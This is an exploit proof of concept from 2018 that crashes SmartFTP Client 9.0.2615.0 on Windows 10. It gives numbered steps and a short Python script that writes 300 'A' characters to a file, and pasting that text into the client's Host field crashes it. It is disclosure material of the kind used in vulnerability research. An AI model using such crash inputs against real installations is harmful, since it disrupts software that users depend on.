#Exploit Title: SmartFTP Client 9.0.2615.0 - Denial of Service (PoC)
#Discovery by: Victor MondragA3n
#Discovery Date: 2018-10-30
#Vendor Homepage: https://www.smartftp.com/en-us/
#Software Link: https://www.smartftp.com/en-us/download
#Tested Version: 9.0.2615.0
#Tested on: Windows 10 Single Language x64
 
#Steps to produce the crash:
#1.- Run python code: SmartFTP_9.0.2615.0_Denial_of_Service_(PoC).py
#2.- Open network.txt and copy content to clipboard
#2.- Open SmartFTP Client
#3.- Select Connection
#4.- Paste ClipBoard on "Host" 
#5.- Crashed
 
cod = "\x41" * 300
 
f = open('network.txt', 'w')
f.write(cod)
f.close()